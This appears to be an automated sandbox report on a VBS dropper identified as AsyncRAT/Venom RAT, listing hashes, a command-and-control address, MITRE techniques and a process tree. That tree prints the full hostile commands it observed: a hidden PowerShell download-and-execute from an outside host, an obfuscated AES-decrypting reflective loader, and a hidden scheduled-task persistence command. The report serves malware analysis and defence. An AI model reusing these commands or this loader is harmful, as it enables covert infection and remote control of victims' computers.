asyncrat | 051bcd80b859378e9ff45546ecc3766499f44190fe25716b7419769b38308320

Analysis

max time kernel
150s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
13-12-2024 02:02

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General

Target

051bcd80b859378e9ff45546ecc3766499f44190fe25716b7419769b38308320.vbs
Size

91KB
MD5

7f67c01cf304afa0adf4c3095477ab07
SHA1

9c5e5e550e15b4e0e949591488ba72154e13378f
SHA256

051bcd80b859378e9ff45546ecc3766499f44190fe25716b7419769b38308320
SHA512

cbcf82588439f81719c5931b08176de77e3c7d08e22c084836ee3224dbbc6a96ebb4873cb2ac1d6d0225b6f7a8f8cef873fab3b54115e4cd8eb0ec1b623a7737
SSDEEP

1536:M8we4uQyXKFD5cFkWLcaxdYOyhGhRW9w+vcdlziIqzRNBHarEZ+2K:M8z4DOOW4eOFGhRW9wCIzi/8rE42K

Score

10^/10

asyncrat core i9 omen execution rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

core i9 OMEN

45.88.88.7:4164

Mutex

nxafgjygny

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/3736-63-0x00000215C9C30000-0x00000215C9C48000-memory.dmp	family_asyncrat

Blocklisted process makes network request 15 IoCs

flow	pid	Process
39	3736	powershell.exe
40	3736	powershell.exe
41	3736	powershell.exe
42	3736	powershell.exe
43	3736	powershell.exe
48	3736	powershell.exe
51	3736	powershell.exe
52	3736	powershell.exe
53	3736	powershell.exe
54	3736	powershell.exe
55	3736	powershell.exe
56	3736	powershell.exe
57	3736	powershell.exe
58	3736	powershell.exe
59	3736	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3240	powershell.exe
1740	powershell.exe
4328	powershell.exe
3736	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
3240	powershell.exe
3240	powershell.exe
1740	powershell.exe
1740	powershell.exe
4328	powershell.exe
4328	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3240	powershell.exe
Token: SeDebugPrivilege	1740	powershell.exe
Token: SeDebugPrivilege	4328	powershell.exe
Token: SeIncreaseQuotaPrivilege	4328	powershell.exe
Token: SeSecurityPrivilege	4328	powershell.exe
Token: SeTakeOwnershipPrivilege	4328	powershell.exe
Token: SeLoadDriverPrivilege	4328	powershell.exe
Token: SeSystemProfilePrivilege	4328	powershell.exe
Token: SeSystemtimePrivilege	4328	powershell.exe
Token: SeProfSingleProcessPrivilege	4328	powershell.exe
Token: SeIncBasePriorityPrivilege	4328	powershell.exe
Token: SeCreatePagefilePrivilege	4328	powershell.exe
Token: SeBackupPrivilege	4328	powershell.exe
Token: SeRestorePrivilege	4328	powershell.exe
Token: SeShutdownPrivilege	4328	powershell.exe
Token: SeDebugPrivilege	4328	powershell.exe
Token: SeSystemEnvironmentPrivilege	4328	powershell.exe
Token: SeRemoteShutdownPrivilege	4328	powershell.exe
Token: SeUndockPrivilege	4328	powershell.exe
Token: SeManageVolumePrivilege	4328	powershell.exe
Token: 33	4328	powershell.exe
Token: 34	4328	powershell.exe
Token: 35	4328	powershell.exe
Token: 36	4328	powershell.exe
Token: SeIncreaseQuotaPrivilege	4328	powershell.exe
Token: SeSecurityPrivilege	4328	powershell.exe
Token: SeTakeOwnershipPrivilege	4328	powershell.exe
Token: SeLoadDriverPrivilege	4328	powershell.exe
Token: SeSystemProfilePrivilege	4328	powershell.exe
Token: SeSystemtimePrivilege	4328	powershell.exe
Token: SeProfSingleProcessPrivilege	4328	powershell.exe
Token: SeIncBasePriorityPrivilege	4328	powershell.exe
Token: SeCreatePagefilePrivilege	4328	powershell.exe
Token: SeBackupPrivilege	4328	powershell.exe
Token: SeRestorePrivilege	4328	powershell.exe
Token: SeShutdownPrivilege	4328	powershell.exe
Token: SeDebugPrivilege	4328	powershell.exe
Token: SeSystemEnvironmentPrivilege	4328	powershell.exe
Token: SeRemoteShutdownPrivilege	4328	powershell.exe
Token: SeUndockPrivilege	4328	powershell.exe
Token: SeManageVolumePrivilege	4328	powershell.exe
Token: 33	4328	powershell.exe
Token: 34	4328	powershell.exe
Token: 35	4328	powershell.exe
Token: 36	4328	powershell.exe
Token: SeIncreaseQuotaPrivilege	4328	powershell.exe
Token: SeSecurityPrivilege	4328	powershell.exe
Token: SeTakeOwnershipPrivilege	4328	powershell.exe
Token: SeLoadDriverPrivilege	4328	powershell.exe
Token: SeSystemProfilePrivilege	4328	powershell.exe
Token: SeSystemtimePrivilege	4328	powershell.exe
Token: SeProfSingleProcessPrivilege	4328	powershell.exe
Token: SeIncBasePriorityPrivilege	4328	powershell.exe
Token: SeCreatePagefilePrivilege	4328	powershell.exe
Token: SeBackupPrivilege	4328	powershell.exe
Token: SeRestorePrivilege	4328	powershell.exe
Token: SeShutdownPrivilege	4328	powershell.exe
Token: SeDebugPrivilege	4328	powershell.exe
Token: SeSystemEnvironmentPrivilege	4328	powershell.exe
Token: SeRemoteShutdownPrivilege	4328	powershell.exe
Token: SeUndockPrivilege	4328	powershell.exe
Token: SeManageVolumePrivilege	4328	powershell.exe
Token: 33	4328	powershell.exe
Token: 34	4328	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3736	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4024 wrote to memory of 3240	4024	WScript.exe	83
PID 4024 wrote to memory of 3240	4024	WScript.exe	83
PID 4024 wrote to memory of 940	4024	WScript.exe	102
PID 4024 wrote to memory of 940	4024	WScript.exe	102
PID 940 wrote to memory of 1740	940	cmd.exe	104
PID 940 wrote to memory of 1740	940	cmd.exe	104
PID 1740 wrote to memory of 4328	1740	powershell.exe	105
PID 1740 wrote to memory of 4328	1740	powershell.exe	105
PID 1740 wrote to memory of 5088	1740	powershell.exe	108
PID 1740 wrote to memory of 5088	1740	powershell.exe	108
PID 5088 wrote to memory of 548	5088	WScript.exe	109
PID 5088 wrote to memory of 548	5088	WScript.exe	109
PID 548 wrote to memory of 3736	548	cmd.exe	111
PID 548 wrote to memory of 3736	548	cmd.exe	111

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\051bcd80b859378e9ff45546ecc3766499f44190fe25716b7419769b38308320.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3240
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\system.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('emte3ttqtxU8Z7uNtvShj79DDsvggmbvOto5AmNpef0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UMzwlReo+QuIcZAVBvu6GA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vpydZ=New-Object System.IO.MemoryStream(,$param_var); $whvQX=New-Object System.IO.MemoryStream; $NaCjv=New-Object System.IO.Compression.GZipStream($vpydZ, [IO.Compression.CompressionMode]::Decompress); $NaCjv.CopyTo($whvQX); $NaCjv.Dispose(); $vpydZ.Dispose(); $whvQX.Dispose(); $whvQX.ToArray();}function execute_function($param_var,$param2_var){ $JNCLx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MwOUn=$JNCLx.EntryPoint; $MwOUn.Invoke($null, $param2_var);}$toRQS = 'C:\Users\Admin\AppData\Local\Temp\system.bat';$host.UI.RawUI.WindowTitle = $toRQS;$arTVC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($toRQS).Split([Environment]::NewLine);foreach ($ixRtZ in $arTVC) { if ($ixRtZ.StartsWith(':: ')) { $rZGXb=$ixRtZ.Substring(3); break; }}$payloads_var=[string[]]$rZGXb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1740
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_730_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_730.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4328
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_730.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:5088
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_730.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:548
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('emte3ttqtxU8Z7uNtvShj79DDsvggmbvOto5AmNpef0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UMzwlReo+QuIcZAVBvu6GA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vpydZ=New-Object System.IO.MemoryStream(,$param_var); $whvQX=New-Object System.IO.MemoryStream; $NaCjv=New-Object System.IO.Compression.GZipStream($vpydZ, [IO.Compression.CompressionMode]::Decompress); $NaCjv.CopyTo($whvQX); $NaCjv.Dispose(); $vpydZ.Dispose(); $whvQX.Dispose(); $whvQX.ToArray();}function execute_function($param_var,$param2_var){ $JNCLx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MwOUn=$JNCLx.EntryPoint; $MwOUn.Invoke($null, $param2_var);}$toRQS = 'C:\Users\Admin\AppData\Roaming\startup_str_730.bat';$host.UI.RawUI.WindowTitle = $toRQS;$arTVC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($toRQS).Split([Environment]::NewLine);foreach ($ixRtZ in $arTVC) { if ($ixRtZ.StartsWith(':: ')) { $rZGXb=$ixRtZ.Substring(3); break; }}$payloads_var=[string[]]$rZGXb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:3736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b66db53846de4860ca72a3e59b38c544

SHA1
2202dc88e9cddea92df4f4e8d83930efd98c9c5a

SHA256
b1a00fcea37b39a5556eea46e50711f7713b72be077a73cb16515ca3538d6030

SHA512
72eff4ae1d541c4438d3cd85d2c1a8c933744b74c7a2a4830ffe398fee88f1a8c5b241d23e94bcdf43b4be28c2747b331a280a7dc67ab67d8e72c6569f016527

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7cd8c488a67ed92d9182f555aacaae42

SHA1
b8d893cd4287ca44007cc04434e42f7e659fdd0b

SHA256
72a35c8ac877e66871380c775dcf10c4cb5903d3fcf891161981f74e749a51f3

SHA512
5d71f4937fd0141e0b908d3dc9373a9fe28a74e6488c8cd5f352d8fa3fc0cbcb129ed451221b2c5e41ce8d20f3faaf80471cc9a4bb75195cc00495c81430ba6c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vel4qpww.yxc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\system.bat

Filesize
82KB

MD5
91521a30afc250ec301fbee04e3d72ec

SHA1
20c0d5e15643df6215f5052d70ad46d40da15fdd

SHA256
87f7bfaaf8f6babc9af3cb2b5de96b6365016121332bd90b8905674acd4940c4

SHA512
f9c61a01395eccccbb62ba2ce9cce4678da36b5a67a9712af98965c75cf126a740026bce576fe841b18ba018641842f845c007ad9e62dbde96b5cfd3b5299544

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_730.vbs

Filesize
115B

MD5
81cbf15ecd9118329342299f6fc86778

SHA1
bd4ea5ac7736bd8cbf7050fd9b79349886b11227

SHA256
dea6eb2d69421377af63ffd59d4c507b5a42a6846395b883d149a95b662a3b73

SHA512
3f45c3e37447e5fded5eeea5d26c5459025f3446feecaa9bc8c1498efb9a956c87c8fc6fdf9856f7b49504a4e308bb9abe023314b53a06f95b9d2e14ad8afba1

Download Submit
memory/1740-34-0x000001647B500000-0x000001647B512000-memory.dmp

Filesize
72KB

Download
memory/1740-33-0x000001647B280000-0x000001647B288000-memory.dmp

Filesize
32KB

Download
memory/3240-17-0x00007FFB80F40000-0x00007FFB81A01000-memory.dmp

Filesize
10.8MB

Download
memory/3240-14-0x00007FFB80F40000-0x00007FFB81A01000-memory.dmp

Filesize
10.8MB

Download
memory/3240-13-0x00007FFB80F40000-0x00007FFB81A01000-memory.dmp

Filesize
10.8MB

Download
memory/3240-12-0x00007FFB80F40000-0x00007FFB81A01000-memory.dmp

Filesize
10.8MB

Download
memory/3240-0-0x00007FFB80F43000-0x00007FFB80F45000-memory.dmp

Filesize
8KB

Download
memory/3240-11-0x00007FFB80F40000-0x00007FFB81A01000-memory.dmp

Filesize
10.8MB

Download
memory/3240-1-0x0000019DE2A50000-0x0000019DE2A72000-memory.dmp

Filesize
136KB

Download
memory/3736-63-0x00000215C9C30000-0x00000215C9C48000-memory.dmp

Filesize
96KB

Download